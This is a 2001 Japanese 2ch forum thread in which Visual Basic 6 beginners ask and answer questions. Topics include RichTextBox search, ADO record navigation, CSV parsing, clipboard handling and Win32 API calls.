VB初心者質問スレ Part4

このエントリーをはてなブックマークに追加
1デフォルトの名無しさん
2デフォルトの名無しさん:01/11/28 15:36
VB
マンセー
「フックする」とかって意味わかんないけど
VBマンセー
5blue:01/11/28 19:44
vbaで自己相関、相互相関の作り方おしえて。
ただし、規格化しないで、同じのをとると1になるのを。
今こまっています
6blue:01/11/28 19:47
解決しました。
7デフォルトの名無しさん:01/11/28 20:35
VB6SP5でディストリビューションウィザードで作ったプロジェクトを
他のマシンにインストールして実行すると
実行時に「DLL 卍??? が読み込めません」と出ます。
どうも「Set WrkODBC = CreateWorkspace("", "admin", "", dbUseODBC)」の
ところでひっかかてるみたいだからDAO関係だと思いますがDAO3.6.dllも
セットアップされているし・・・どなたか教えてください。
8blue:01/11/28 20:44
解決してません6番はにせものです
お願いします
相互相関って
Sub A
B
End Sub

Sub B
A
End Sub

見たいなやつのこと?
107:01/11/28 21:38
解決しました。
>>5
読むほうがこまってます。
日本語歴が短いのはわかりますが、日本人に通じる日本語でお願いします。
12前スレ955:01/11/28 22:01
前スレ>>957さんへ
レスありがとうございます。
ご指摘のとおり直してみたのですが、やはり上手くいきません。
すみません、ネタじゃなくて結構真剣に困ってます…
リッチテキスト内の文字列の検索・置換を行うにはどう直せばで良いでしょうか?
アドバイスお願いいたします。

'置換ボタンの処理
Private Sub cmdChange_Click()

If rtbFind.Text = "" Then
'何もせずに終了
Else
rtbText.Span rtbFind.Text
rtbText.SelRTF = rtbChange.TextRTF
rtbText.Span ""
End If

End Sub

'検索ボタンの処理
Private Sub cmdFind_Click()

If rtbFind.Text = "" Then
'何もせずに終了
Else
rtbText.Find rtbFind.Text
rtbText.UpTo rtbFind.Text
End If

End Sub
Findメソッドとかのヘルプみてみようよ。
使用例なんてのまであるんだよ?
それと検索したらさ、それだけではだめじゃん?
見つけた位置にキャレットもっていくとか
選択するとか、どうしたいかは貴方次第なのよ〜

で、こんなんでどう?(手抜き警報発令中)
Private Sub cmdFind_Click()
  Dim x&
  x = rtbText.Find(rtbFind.Text)
  If x <> -1 Then
    rtbText.SelStart = x
    rtbText.SelLength = Len(rtbFind.Text)
    rtbText.SetFocus 'HideSelection=Falseなら不要かな
  End If
End Sub

Private Sub cmdChange_Click()
  Dim x&
  x = rtbText.Find(rtbFind.Text)
  If x <> -1 Then
    rtbText.SelStart = x
    rtbText.SelLength = Len(rtbFind.Text)
    rtbText.SelText = rtbChange.Text
  End If
End Sub
>>7
他のマシンにODBCのドライバが入っていないとか、、、
15前スレ955:01/11/29 04:54
>>13
ありがとうございます。無事動きました。
2個目以降の単語も検索できるように改造してみます。

VB始めて間もないですが、難しいです本当…
>>15

2個目の検索の時は、Findの第二引数に注意してね。
開始位置ってあるけど、VB標準の“文字数”で記載するとハマるよ。
ShiftJISでの文字数を入れなきゃいけない。
rtb.Find("hoge", LenB(StrConv(Left$(rtb.Text,rtb.SelStart),vbFromUnicode)+1)
みたいな感じ。(このコード間違ってるかも。確認してないので。)
177:01/11/29 09:22
>>6
>>10

偽者uzeeeeeeeeeeeよ

>>14
ODBCドライバは入ってます。
18デフォルトの名無しさん:01/11/29 11:04
質問でっす
VBからPingをうつにはどうしたらいいでしょうか?
目的は、送信なし状態が2分続くと接続が切れるモデムなので、
1分おきぐらいにPingをうちたいのです。。。
>>18

system("ping ....");
>>18
モデムの設定変えれば?
>>18
winsockとかでping打つの面倒だから、
こんな感じにしたらどうでしょう。

'-------------------------
dblRet = Shell("CMD.EXE /C ping pc.2ch.net", vbHide)
'-------------------------
2218:01/11/29 13:55
ありがとうございまっす♪
単純にMS-DOSから

'-------------------------
dblRet = Shell("command.com /k ping 12.23.13.123", vbHide)
'-------------------------
とやって解決しました。
23デフォルトの名無しさん:01/11/29 18:11
再度質問が有ります。

WINDOWS2000の環境で使用しているときに、
下記動作を行うと、テキストボックスのValidate処理が起きません
どうしてでしょうか

テキストボックスにて入力後(フォーカスは、テキストボックスのまま)マウスで、
タブ(SSTab)をクリックするとテキストボックスのValidate処理が発生しません。

環境
NT4.0 SP6、VB6.0SP3にてコンパイル
2000SP2 VB6.0 SP5 の環境にて実行

NT4.0 SP6、VB6.0SP3だと、テキストボックスのValidateイベントが発生します。
>>23

見苦しい全角英数文字をなんとかしろ。
25デフォルトの名無しさん:01/11/29 20:12
申し訳ないのですが
教えてほしいことがあるのですが
a = 99999999999 Mod 7
とやったときに”オーバーフローしました”というエラーメッセージ
が帰ってきてしまうのですが何か回避方はありませんか?
よろしくお願いします。
>>25
お前が回線切る
a = 99999999999 Mod 7 (藁

「僕は困っています。どうすればいいでしょう?」
と言っているようなもの。条件をきちんと示しなさい。

質問する前に勉強するか、死ぬかしてください。
28 :01/11/30 00:40
>>25
a = 99999999999 Mod 7 と打ったときに、
99999999999 の 右に # って出るだろ?
つまり、Double なわけ。Double は Mod 使えないよ。
無理やり Variant に型変換されるよ。
たまにはヘルプ見ようね。
VB入門約5ヶ月の初心者です。
使ってるのはVB6.0です。SP5ってヤツを雑誌付録CDから入れました。
Winのクリップボード内のデータが貼り付けに使われた事を
知るための良い方法はないでしょうか?
SetClipboardViewerってAPIで
クリップボードにデータが入ったコトは通知されるのですが。。。
必死で探しても、「貼り付け」された事を知る方法は見当たりません。

目的はリストに用意したテキストを
自アプリではないエディタに連続してペーストする事です。
「Ctrl+V」や「右クリック→貼り付け」の操作のたびに
クリップボードのデータを次のデータに入れ替えてやりたいのです。

良い方法を御存知の方、どうかお助けください。
31デフォルトの名無しさん:01/11/30 09:48
キーボードのカンマが押された事を取得したいんですが、
カンマのキーコード定数は無いみたいなんです。

キーコードって自分で作れますか?

をたすけを・・・。
32Kusakabe Youichi:01/11/30 09:54
>>31 デフォルトの名無しさん wrote:
> キーボードのカンマが押された事を取得したいんですが、
> カンマのキーコード定数は無いみたいなんです。

はつみみです。
3331:01/11/30 09:57
すいません。解決しました。ASCUコードだったのですね・・・。
ごめんなさい。

でも、日下部とからめてしやわせです。
友達に自慢します。
テンキーのカンマは VK_SEPARATOR (&H6C)
キーボードのカンマは VK_OEM_COMMA (&HBC)
35Kusakabe Youichi:01/11/30 10:10
>>33 31 wrote:
> すいません。解決しました。ASCUコードだったのですね・・・。

文字化けしてます。
3631:01/11/30 10:16
>日下部
私からは文字化けして見えないので、OKです。問題無しです。
ご指摘ありがとう。
>>35
MacでもUは、文字化けするのですか?
機種依存文字は使うなゴルァってことで
VBで SouceSafe を使おうと思うのですが、
エンタープライズエディションのVisualStudio6.0だけで用意する
ものはよいのでしょうか?

サーバのOSは指定(NT4.0 Server/2000Server)があるのでしょうか?
40Kusakabe Youichi:01/11/30 10:50
>>36
>36 31 wrote:
> 私からは文字化けして見えないので、

そんなことは問題になっていません。
41Kusakabe Youichi:01/11/30 10:51
>>37 デフォルトの名無しさん wrote:
> >>35
> MacでもUは、文字化けするのですか?

Macなるかは知りません。
42初心者厨房:01/11/30 10:52
おはようございます。

今日もまたドキュソな質問をさせてください。

Mo = CInt(Mid(Module1.C_Date, 5, 2)) ←この計算ではエラーになるんです。
えっと、CIntの計算をしているのに Mid関数での計算をしているからである
って言うのは分かっているのですがどのように修正したらいいか分かりません。
申し訳ありませんが教えてください。
4331:01/11/30 10:53
>日下部
私の中では問題だったので、OKです。問題なしです。
ご指摘ありがとう。
44Kusakabe Youichi:01/11/30 11:00
>>43 31 wrote:
> 私の中では問題だったので、

そんなことはどうでもいいことです。
4531:01/11/30 11:13
>日下部
先生、もうこれぐらいで勘弁してください。
私にも仕事があります。
46初心者厨房:01/11/30 11:15
もし出来たら本当に教えてもらいたいのですが。。。。
くだらない質問かも知れませんが本当に教えてください。
47Kusakabe Youichi:01/11/30 11:17
>>45 31 wrote:
> 先生、もうこれぐらいで勘弁してください。

何の話でしょうか?

で、文字化けしてましたよね?
4831:01/11/30 11:23
>日下部
先生、そろそろみんなが自作自演であることに気づいちゃいます。
もう、あきらめましょう。オチはつきませんよ。潮時です。
それより、初心者厨房さんの質問に答えてあげてください。
彼はきっと先生の答えを待っていますよ。
>>42
エラーがコンパイルエラーなのか、
実行時エラーなのかがわからない

具体的に
Module1,C_Dateに入ってくる値が判らないと何とも答えようがない

本気で答えてもらいたいのはわかるが、
とりあえず、答えてもらうなりの説明が必要だと思われ
>>42
A=Mid(Module1.C_Date, 5, 2)
B = CInt(A)
どこでエラーになるか考えよう。
51初心者厨房:01/11/30 11:30
If Module1.Form5_CSV_Load = 0 Then
da = Split(Date, "/")
L_DATE = da(0) & da(1) & da(2)
Module1.Shain_Clear
Label15.Caption = Module1.Shain_Code
Text1.Enabled = False
Module1.C_Date = L_DATE
Module1.Ki = da(0) - 2001 + 30
Ye = da(0)

ってなるそうです。
要するに、Mo = CInt(Mid(Module1.C_Date, 5, 2))の
Module1.C_Date に入る値はシステムデータの事らしいです。
52初心者厨房:01/11/30 11:33
>>50
恐らく、僕が引っかかっているのは、CIntでは整数型の返り値、
Midでは文字型の返り値って言うところでエラーが出ているのではと
思っています。でも、どのようにしてこの問題を解決したらいいのか
分からないのです。
手を煩わして本当に申し訳ありませんがよろしくお願いいたします。
>>51>>52
とりあえず、デバッグで調べてModule1に何が入ってるかを書け
単純に MID をかける文字の開始位置が悪いと思われ
Midの第一引数は文字列型だが、考えられるのは
Module1.C_Dateが数値型だからとか値が入ってないとか
そういうことだと思う。

原因はおそらくこの2行。
da = Split(Date, "/")
L_DATE = da(0) & da(1) & da(2)

システム日付を文字列に変換するなら、
Format(Date,"yyyymmdd")とか使ったほうが確実だよ。

あと「らしい」と書いてるってことは別の人に聞かれてるのかね?
本人に自分で聞くように言ってやんなさい。
56デフォルトの名無しさん:01/11/30 11:50
禁則処理のサンプルありませんかー?
57tyubo:01/11/30 12:02
MDIフォーム でアクティブ子フォームの切り替え(Ctrl+Tab)を
抑止したいのですができません。
MDIフォームにはKey_Downイベントもないし
サブクラス化してトラップしようとしてもなぜかWM_KEYDOWNが
取れません
どうしたらいいですか???
58Kusakabe Youichi:01/11/30 12:13
>>48 31 wrote:
> 先生、そろそろみんなが自作自演であることに気づいちゃいます。

はつみみです。
59デフォルトの名無しさん:01/11/30 12:18
>>56
APIのDrawTextを使えば勝手にやってくれますが
それじゃ駄目ですか?
>>59
DrawTextは禁則処理してくれるんですね。

今やろうとしてるのはPowerBuilderのデータウィンドウ内のカラムで
やりたいので、できればシンプルなアルゴリズムがあれば
まねしたいな、と思いまして。
PowerBuilderのサンプルなんてないと思ったのでVBスレで
聞いてみました。
6131:01/11/30 12:59
>日下部
先生、文字化けの話から逸れましたが?
それはもういいんですか?
ふふふ。
62Kusakabe Youichi:01/11/30 13:05
>>61 31 wrote:
> 先生、文字化けの話から逸れましたが?

初耳です。
>>52

たぶん、Module1.C_Dateの中身が空なんだろう。
CInt("") を実行したような状態になってるんじゃない?
CInt(Val("")) ならエラーにならないけど、どっちみち
値が入ってないからプログラム総体としてはエラーな気が。

Moの値が0になっても構わないなら、
Mo = CInt(Val(Mid(Module1.C_Date, 5, 2)) )
とすれば当面エラーは出ないけど、逆にバグ混入させる気がするね。

>>55の言うとおり、da = Split(Date, "/")を止めてFormat使った
方がいい。そもそもDateがyyyy/mm/dd形式で返すっていう保証は無いし。
>>60
PowerBuilderは使ったことが無いので判らないですが、
基本的には、行頭の文字をチェックしてその文字が禁則文字なら前の行に移す
(もしくは前の行の行末文字をもってくる)といった処理を繰り返すしかな
いと思います。
65初心者厨房:01/11/30 13:17
>>55 遅レスですみません。
Module1の中身は何も入ってませんでした。。(汗)
とりあえず、今まで教えてもらった事を頑張ってやってみます。
ありがとうございます。
>>64
どうもです。
やってみます。バグが恐いですけど。
なんだ、ここでもNGワード設定の対象にしなきゃ...
>Kusakabe Youichiさん
ワラタ。
ASCII→ASCU
>>67
俺も NGワードの設定がしたいよ・・・(´Д`)
真面目にゾヌの導入検討しようかな・・・。
>>29です。
>>30さんに、初心者と名乗るようなヤツはダメ、手前で調べろボケ
というようなリンクを示されたので、かなりへこんでいます。
でも、どうしても自力では解決できません。ここ2ヶ月ずーっと悩んでます。
誰か少しでもヒントを下さい。
7167:01/11/30 15:26
>>69
タダで安らぎが手に入るんだもん、是非導入すべき(藁
つーことで作者さんに感謝(ここは見てないだろうが)。
7269:01/11/30 16:57
>>71
というわけで導入してみた。いや、いいなこれ。
まだ全然使いこなせてないけどとりあえずNGワードを設定したら幸せになれたよ(´ー`)ノ

あと、俺にゾヌ導入のきっかけを与えてくれた先生に感謝するよ。ちょっとだけ(藁
>>70
VBの話でなくていいなら、制限付きで出来ます。

SetClipboardData でデータをクリップボードに置くとき、
データのハンドルに NULL を指定します。
そーすると、他のアプリケーションがクリップボードからデータを
読み出そうとしたとき、WM_RENDERFORMAT メッセージが届きます。
このメッセージが届いたら、クリップボードに SetClipboardData でデータを置きます。

制限付きとは、次のようなことです。
WM_RENDERFORMAT は、他のアプリケーションが
クリップボードからデータを取り出すと発生します。
それは、貼り付けのときとは限りません。
ただクリップボードの中身を確認するためだけかもしれないし、
例えばクリップボードビューアが内容を表示するために
読み出す場合もあります。区別は出来ません。

あまり使えない方法ですが、他の方法は知りません。
・・・こんなので良い?
7429です:01/11/30 17:54
>>73
まだ良く理解できてませんが、参考にさせていただきます。
Win32APIで可能なのかな???
いえ、ヒントはすでにいただきましたから、後は自分で調べて試して戦います。
とにかく頑張ってみます。ありがとうございました。
75デフォルトの名無しさん:01/11/30 23:11
フォームをロードしたときにMP3の音楽を
演奏する方法を教えてください
フォームの Load イベントに、
MP3の音楽を演奏するプログラムを書きます。
>>76 ワラタ
すいません、PGモドキのオイラには全然解決出来ない事態に出くわしました。
ご存知の方がいらしたら、どうか教えてください。
VB6(SP5)でACCESS97にDataEnvironmentで接続するソフトをつくり、デイストリビューター
でキャビファイルにして、稼働環境にインストールすることにしました。
キャビファイル作りは問題が無かったのに、インストール中にエラーが発生しました。
ログを見ると

C:\WINDOWS\SYSTEM\msado25.tlb' 中に DllRegisterServer() のエントリポイントが見つかりません。

とのことです。
無視してインストールを続行し、出来たEXEを動かすと、

実行時エラー3706
ADOCE could not find the specified provider.

MSのHPでエラー情報を見てみましたが該当するものはありませんでした。
ソフトそのものは2年近く稼動しているもので、問題はないはずです。
ディストリビューターにかけたときに問題が発生したと思うのですが、
思い当たる方はいらっしゃいますでしょうか?
何卒よろしくお願いします。
>>78 参照設定見直してみるとか
   よくわからんがSP5はADO2.5か?
8078:01/11/30 23:45
>>79
早速ありがとうございます。
参照を見直しましたらADOは2.5でした。
8179:01/11/30 23:50
 おれも経験あるんよ。ソレ。ADO2.0やったけど。
 ADO2.6以上のあったら参照設定をそれに戻してインストーラ
ー作りなおしてみれ。これで直ったら同じ原因かも。
 間違ってたらゴメソ。
8278:01/11/30 23:54
>>81
ありがとうございます。早速やってみます。
このご恩は一生忘れません!
8379:01/12/01 00:00
 とりあえず開発するときはADO何やったんか?開発時と同じヴァ
ージョンのADOに参照設定戻してVBP保存してEXE作ってイン
ストーラー作れば直ると思うが。

 暇だから詳細書くとさ、SP4のマシンで開発(ADO2.5)で
開発しててEXE(@)作って、一度SP3のマシンにソース持って
って保存して、そのソースをSP4のマシンに戻して@のEXEでイ
ンストーラー作ったらさぁ、参照設定がSP3だからか知らんけどA
DO2.0になっててさ。でもEXEは2.5でコンパイルしてるや
ん?多分そんな原因かも。

 ※ナゼ暇かというと午前0時にクライアントが日付またぐ処理やる
か監視するまで帰れないんだよよよい (ToT

これも違ったらゴメソ
84デフォルトの名無しさん:01/12/01 00:04
>>25
aをLongゃCurrencyなどの桁数の多い型で宣言するとよい。
「7」はInteger型と解釈されているので、「7&」などと表記してVBにLong型と解釈させるとよい。

>>29
ヘルプで「Clipboard オブジェクト」を調べるとよい。
85デフォルトの名無しさん:01/12/01 00:14
どなたかVBで標準DLL作る方法知ってる方います?
>>85

標準EXEでつくって拡張子を.dllに変える。
>>85

VBでつくろうとするのが間違い。
おとなしくVC++でつくれ。
88デフォルトの名無しさん:01/12/01 00:16
>>85
86はウソ。
VBで標準DLLは作れない。
ActiveXDLLで我慢してください。
まずはCのパーザを書いて以下略
90デフォルトの名無しさん:01/12/01 00:17
>>86
ありがとうございます。
9186:01/12/01 00:18
>>90

おいおい、ネタsageしたやつに礼を言うもんじゃないぞ。
92デフォルトの名無しさん:01/12/01 00:19
>>91
ほんとはC++で作ったんですけどねえ。やっぱり無理かあ。ちぇ。
9378:01/12/01 00:23
>>83
もう一度参照設定を確認してみました。
MS DataBinding Collection VB6.0
MS DataEnvironment Instance 1.0
MS DataFormatting Object Library 6.0
ここら辺が全部(SP4)になってました。
SP5は開発後に(今年になって)ダウンロードしてます。
開発時の環境は今確認できませんが、ご指摘が「図星」だったかもしれません。
どうもありがとうございました。
9479:01/12/01 00:57
>>93
 直るといいね。ガンバレ(・∀・!
 んじゃ。
>>29
正直、その実装にどのような意味があるのかわからない。
俺だったら、必要なデータをテキストファイルに出力して、
それをエディタで読み込むが・・・。

ペーストとペーストの間に何か手入力したりするの?
やりたい事を実現する方法は、他にあったりしない?
それが仕様なら仕方無いけどね(^^;
96デフォルトの名無しさん:01/12/01 03:21
すみません、
a(0)
a(1)
a(2)



みたいな感じで配列の要素をa(0)から最後の要素まで1行ずつ
ファイルに書き出していくにはどうすれば宜しいでしょうか?
97VB厨房:01/12/01 04:39
Dim a(100) as integer

for(0..100)a(i)=a(i)+1;

File open処理 #2 ’テキトー

for i =0 to 99
print a(i) & vbCrlf ’vbCrLFがポイント
next

close #1
>>96

Dim a(100) as String '文字列型じゃないと駄目よん

.....

Open "hoge.txt" for output as #1
Print #1, Join(a,vbCrLf)
Close #1

…多分真似しない方が良いと思われ。
99デフォルトの名無しさん:01/12/01 11:13
CSVファイルのデータを2次元配列に格納することはできないんでしょうか??
100Kusakabe Youichi:01/12/01 11:16
>>99 デフォルトの名無しさん wrote:
> CSVファイルのデータを2次元配列に格納することはできないんでしょうか??

できますよ。
>100
ということにしたいのですね。
>>99
データの形式が分からないけど、
テキストファイルとして1行ずつ読み込んで、
一時格納用配列にSplitで入れて、
それから目的の配列に入れたら?

泥臭い?
103 :01/12/01 16:39
CSVを個々の変数に展開する場合
・Input
・Line Input後、自分でバラす
どっちが早いんでしょ?
>>103
ベンチマークソフト組んでみたら?
Inputで出来るならそっちの方が楽なので稼働日は「早く」なるけど、
LineInputじゃなくて全体(あるいはいくつかに分けて)を
一気に読みこんでバラした方が動作は「速い」かな。(作り方にもよるけど)
LineInputよりDB経由の方が速かったりもするよ。
106103:01/12/02 05:59
レスありがよやんす。

>LineInputじゃなくて全体(あるいはいくつかに分けて)を
>一気に読みこんでバラした方が動作は「速い」かな。(作り方にもよるけど)

あー、そうですね。
チョト面倒臭いけど。

>LineInputよりDB経由の方が速かったりもするよ。

これどーゆー意味ですか?
最終的にはバラした後DBに登録するのが目的なんですが・
>106
だいたいのDBはCSVを直に取り込んだりリンクしたりする機能があるから
そっち使った方が早い場合もあるって事だと思う。
細かい入力チェックがやりにくくなるけどな。
コマンドボタンを押すと効果音(.wav)が出るようにするには
どうすればよいのでしょうか。
あちこちのHPや本を調べて試してみましたが、どうしても上手くいきません。
ご存知の方がいらっしゃいましたら教えてやってください。
>>108
Private Sub Command1_Click

  PlaySound "hoge.wav", 0&, SND_ASYNC

End Sub
110デフォルトの名無しさん:01/12/02 18:11
>>100-102
ありがとうございます。格納することはできたみたいです。
ただ、行数が未知のCSVファイル(Exel)のデータを
二次元配列に格納するには、どのようにすればよいでしょうか?
↓みたいにやっても上手くいかないみたいなんで…

For i = 0 To UBound(Book1.csv)
For j = 0 To 2
Line Input #1, vntBook1(i)(j)
Next
Next
111110:01/12/02 18:21
間違えた…
For i = 0 To UBound(Book1.csv)
For j = 0 To 2
Input #1, vntBook1(i, j)
Next
Next

です。
112かをる:01/12/02 18:28
スタックでプッシュとポップの分岐のプログラムってのをやってるんですが良くわかりません。
ちなみにそれは、適当な数字をA列に積み上げ、途中で数字をポップしてC列に積んでいくというものなんです。
スタックは5回で良いのですが。
>>110-111
Open "Hoge.csv" For Input as #1
Do Until EOF(1)
Input #1, vntBook(i,0), vntBook(i,1)
i = i + 1
Loop
Close #1
UBoundの引数は配列変数ね。
114VB厨房@:01/12/02 18:56
>>110,111
俺の場合は、1行ずつ読み込んでから、","を
分解してそれを一旦dim buff as Stringに保存して、
あとから、一気に書き込むというやり方、(独学だけど)
それに君のそのソース、CSVのカンマ区切り文字が勝手に配列に入ってくるものと誤解してない?
For i = 0 To UBound(Book1.csv)
は、最後の行まで読み込むというのは分かるけど、
For j = 0 To 2
で、列のそれぞれの要素を読み込んでいないだろ。

>>112
PUSHと、POPって要するに、配列の移動でしょ?(あんましらん)
DIM A(10) as integer
DIM B(10) as integer
Static ai,bi as integer 'もしくはPublicでSUBの外に置く

PUSH 処理で
ai=ai+1
A(ai)=K

POP 処理で Bに積み上げ、Aは一つ省くので

bi=bi+1
B(bi)=A(ai)
ai=ai-1

タブン、君の場合、A,B,Cのスタックを積み上げている位置を
DIMとかで宣言して、位置を記憶してないかと思う。
Static及び、SUBの外側で、Public宣言するとよろしい。
>110
最初に改行コードの数(=行数)を数えてから読み込むとか。
BinaryでOpenしてから数えればン万行でも瞬時に数えられるよ。
116112:01/12/02 21:02
すみません。書き方が悪かった様なので。
「データの格納と取り出しの分岐のプログラム」てのをやってまして、その前に
「inputbox関数を用いてデータをA列の1行目から5つ格納する。」
For num = 1 To 5
myval = InputBox("データを入力してください。")
Cells(num, 1) = myval
Next num
と言うのと、
「A列の1番下の行(5行目)のデータから1つずつ取り出してC列の1行目から順に移動する」
For num = 1 To 5
Cells(num, 3) = Cells(6 - num, 1)
Cells(6 - num, 1) = ""
Next num
と言うのをやったので、その延長のプログラミングと思われるのです。
まず、yourval = InputBox("データ格納の場合は1、データ取り出しの場合は2を入力してください。")
を出して、1か2を打ち、1の場合はmyvalでPUSHする数字を打つんです。
んで、PUSHはA列、POPした物ははC列に置くと言うのを5回やるのですが・・・。
難しいっす。
117VB厨房@:01/12/03 01:09
>>116
ちょっと見たかんじでは、配列の使い方おかしくない?
宣言は
 Dim Cells(3,5)
こうしたら?君の場合おそらく
Dim Cells(5,3)
としてる。
 Dim Cells(行、列)
と考えたら分かりやすいかと思うが、
For num = 1 To 5
 Cells(num, 3) = Cells(6 - num, 1)
 Cells(6 - num, 1) = ""
Next num
だと、
num=1
Cells(num, 3) = Cells(6 - num, 1) 、1行目の3列目に、5行目の1列目を代入
num=2
Cells(num, 3) = Cells(6 - num, 1) 、1行目の3列目に、4行目の1列目を代入
num=3
Cells(num, 3) = Cells(6 - num, 1) 、1行目の3列目に、3行目の1列目を代入
num=4
Cells(num, 3) = Cells(6 - num, 1) 、1行目の3列目に、2行目の1列目を代入

となっている、配列がおかしい。
118VB厨房@:01/12/03 01:10
ちょい訂正

num=1
Cells(num, 3) = Cells(6 - num, 1) 、1行目の3列目に、5行目の1列目を代入
num=2
Cells(num, 3) = Cells(6 - num, 1) 、2行目の3列目に、4行目の1列目を代入
num=3
Cells(num, 3) = Cells(6 - num, 1) 、3行目の3列目に、3行目の1列目を代入
num=4
Cells(num, 3) = Cells(6 - num, 1) 、4行目の3列目に、2行目の1列目を代入
119VB厨房@:01/12/03 01:21
すまん、配列はこれでもいいか。?

受け取った数字を判定して、PUSHかPOPするとしたら。
yourval = InputBox("データ格納の場合は1、データ取り出しの場合は2を入力してください。")
受け取った文字を
if yourval="1" then
処理
elseif yourval="2" then
処理
end if

とすればいいだけじゃないの?
120デフォルトの名無しさん:01/12/03 09:38
初心者です。お願いします。
jpgの画像をbmpに変換させたいのですが、
どうすればいいのでしょうか?
やさしく解説していただければと思います。
検索したのですが、よくわからなくて・・・
121デフォルトの名無しさん:01/12/03 10:46
>>120
LoadPictureとSavePictureではいかんの?使い方はMSDN参照。
122☆☆☆☆:01/12/03 10:56
仕事ばっかりで疲れたー。
3徹中です。目閉じたら寝ちゃいます。

クリスマスイヴあたりは
ロマンチックな神戸行って
ルミナリエとか行きたいなぁ
>>122
誤爆?
>>123
寂しいプログラマの夢じゃねーの?
疲れてるんだろ。寝かせておいてやろうぜ。

イイ夢見ろよ……。
125120:01/12/03 12:37
121さん
ありがとうございます。調べてみます。
126ハムはむ:01/12/03 14:19
API関数を利用してモニタの電源を切る方法を調べておりますが、
見つからずに困っております。

御存知でしたら教えて頂けないでしょうか。
>>126
SetMonitorPowerState()かな?
詳しくはMSDN参照。
128ハムはむ:01/12/03 15:39
SetMonitorPowerState()というのはAPI関数の事なのでしょうか?
済みません、素人なので意味が分かってません。
また、MSDNで参照してみましたが、SetMonitorは「使用中のモニタタ
イプを設定する」となっておりました。
見ているところが根本的に違っているのでしょうか?
129デフォルトの名無しさん:01/12/03 16:56
>>128
モニタの電源を切るのはOS側がACPIを管理してやってるっぽいので
ソフト側からは無理なのではないかな、と。うろ覚えですが。

あと、127はネタです。sageてるし。
そんなAPIあったら使ってみたい。
>>128
モニタの電源コードにスイッチつけて、
シリアルでもパラレルでもいいからスイッチを操作する。
>>130
いっそ仕様を拡張してモニタの電源 "も" 切るようにしたらどうだろう。
どこぞからのコピペ
>画面の設定でモニタの能力を超える解像度設定を行えば、真っ黒になりますが
Putting Your Monitor in Power Saver Mode

To turn off the monitor:

SendMessage(AnyForm.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, 2&)

Standby monitor:

SendMessage(AnyForm.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, 1&)

To turn on the monitor:

SendMessage(AnyForm.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, -1&)

Where

Const WM_SYSCOMMAND = &H112
Const SC_MONITORPOWER= &HF170
137デフォルトの名無しさん:01/12/03 17:45
ADOにてレコードセットを作成し1件ずつ表示しています。
取ってくるデータが以下のようにあったとします。

AA
BB
CC
DD

カレントがDDの時にMoveNextすると、EOFがTrueになりますが
CCからMoveNextして、DDを表示した時点でEOFをTrueにしたいのですが
方法が分かりません。そもそも無理なのでしょうか?
やっと見つけたっぽい ttp://member.nifty.ne.jp/my2project/vb/souko.txt

================================================================================
モニタの電源を切る(モニタ省電力に対応した環境の場合のみ)
================================================================================

---------以下フォームモジュールへ記述
Option Explicit

Private Sub Form_Load()

Timer1.Interval = 3000
Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()

Timer1.Enabled = False
Call Y_PowerOffMonitor(Me.hWnd)

End Sub


---------以下標準モジュールへ記述

Option Explicit

'ウインドウにメッセージを送る
Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Public Const WM_SYSCOMMAND = &H112&
Public Const SC_MONITORPOWER = &HF170&

Public Sub Y_PowerOffMonitor(hWnd As Long)
'************************************************************
'機能 : モニターの電源を切る
'************************************************************

Dim sw As Long

' sw = 1 '省電力モード
sw = 2 '電源を切る

Call SendMessage(hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal sw)

End Sub
139デフォルトの名無しさん:01/12/03 17:54
>>137
その処理の必要性について詳細をキボンヌ。
どういうことを実現したいの?
>>137
処理前に SELECT COUNT(*) でレコード件数取得後、その件数分だけループすれば?
あえて提供されている方法を使わない意図は全く不明だが。
>>137
ムリがどうかはともかく、EOFの使い方として間違っていると思います。

カレントレコードが最後のレコードかどうか調べるなら、
AbsolutePosition = RecordCount かを判定すればいいとかと。
ただし RecordCount はカーソルタイプによっては使用できないので要注意です
が。
142137:01/12/03 18:02
>>139

AA
BB
CC
DD


CCからMoveNextし、DDを表示した時点で「次へ」ボタンの「Enabled = False」にしたいんです。
現状だとCCからMoveNextしてカレントがDDに移った時点では、「Enabled = True」なので
「次へ」ボタンが押せてしまいます。
カレントがDDの時に、「次へ」ボタンを押してやっとEOFになり
「Enabled = False」になるのですが、1タイミング遅いんです。
EOFで判定するのが間違いなのでしょうか。
143デフォルトの名無しさん:01/12/03 18:16
>>147
了解。
データを取得してからもう一度MoveNextして、EOFで無ければそのまま。
EOFならボタンをEnable Falseする。
そのあとMovePreviousする。これで希望通りにはなる。

でも、非効率的な処理だしレコード開きっぱなしはよくないかも知れないので、
一度レコードの中身をすべてType型変数に格納してそれを表示するようにして、
最終データかどうかをメンバー変数に持たせるなり、レコード数を変数に保持しておいて
表示時にカウンタなどで判別するほうがいかも。
144137:01/12/03 19:00
>>143さんの考え方で出来ました!
しかし、いきなりDDレコードが呼び出された時等に不具合がありましたので
>>141さんの「AbsolutePosition」で判定して「Enabled = False」に出来ました。

逆のMovePrevious場合も同じ考え方で出来ました。
ありがとうございました。

P.S. 143さんの「Type型変数に格納し〜〜」の部分なのですが
漏れには理解不能のため非効率な処理でいきました。
145141:01/12/03 19:25
>>144
>141さんの「AbsolutePosition」で判定して「Enabled = False」に出来ました。

お役に立てて幸いです。

> P.S. 143さんの「Type型変数に格納し〜〜」の部分なのですが
> 漏れには理解不能のため非効率な処理でいきました。

ADO の recordset で処理するのではなく、ユーザー定義型の配列か何かに
すべて読み込んで、自前で処理しろということではないかと。
146143:01/12/03 20:31
>>145
そのことです。
補足ありがとうございました。
147デフォルトの名無しさん:01/12/03 22:14
>>113-114
お答えいただきありがとうございます。
上の方にCSVファイルの中身を二次元配列に入れる方法はおかげでわかったのですが、
今度はCSVファイルのデータをコレクションのプロパティに格納する方法について
アドバイス頂けないでしょうか。何度もすみません(汗

日にち  終了  開始
4    8   2
7    15   6
10    13   11



↑こんな感じの行数未知・列数3のCSVファイル(Scedule.csv)のデータを…
Public Date As Integer '番号の値が入る
Public Start As Integer '開始の値が入る
Public Length As Integer '長さ(終了−開始+1の値が入る)
↑のように作成したSceduleクラスの各プロパティに一行ずつ格納したいのです。
(1行目の「日にち」「終了」「開始」以外)

続きます
148デフォルトの名無しさん:01/12/03 22:16
